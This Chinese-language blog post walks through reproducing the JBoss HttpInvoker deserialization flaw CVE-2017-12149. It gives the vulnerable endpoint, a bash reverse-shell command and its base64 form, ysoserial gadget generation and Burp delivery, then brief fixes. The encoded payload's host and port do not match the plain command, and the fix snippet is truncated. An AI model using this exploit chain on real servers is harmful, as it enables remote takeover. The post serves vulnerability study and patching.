JBoss HttpInvoker組件反序列化漏洞復現(CVE-2017-12149)

影響範圍

5.x和6.x版本的JBOSS

基本原理

該漏洞位於JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致攻擊者可以通過精心設計的序列化數據來執行任意代碼

利用條件

  1. invoker/readonly接口未做限制或過濾(一般該路徑回顯500)

漏洞地址

http://your-ip:8080/invoker/readonly

漏洞利用

  1. 訪問http://your-ip:8080/invoker/readonly,網頁回顯500
    在這裏插入圖片描述

  2. 由於Runtime.getRuntime().exec()中不能使用管道符,因此反彈shell命令需要編碼,工具:http://www.jackson-t.ca/runtime-exec-payloads.html,命令:bash -i >& /dev/tcp/192.168.3.105/4444 0>&1
    格式:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTMzMyAwPiYxCg==}|{base64,-d}|{bash,-i}
    在這裏插入圖片描述

  3. 使用ysoserial的CommonsCollections5 gadget來生成序列化數據,序列化數據包含剛剛base64編碼生成的反彈shell命令,生成poc.ser文件
    在這裏插入圖片描述

  4. bp必須郵件從poc.ser中粘貼序列化內容,否則如果手動通過notepad這種粘貼,會收換行符影響。
    在這裏插入圖片描述

  5. 放行請求包後,即成功反彈shell
    在這裏插入圖片描述
    在這裏插入圖片描述

漏洞修復

  1. 不需要 http-invoker.sar 組件的用戶可直接刪除此組件。
  2. 添加如下代碼至 http-invoker.sar 下 web.xml 的 security-constraint 標籤中:/*用於對 http invoker 組件進行訪問控制。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章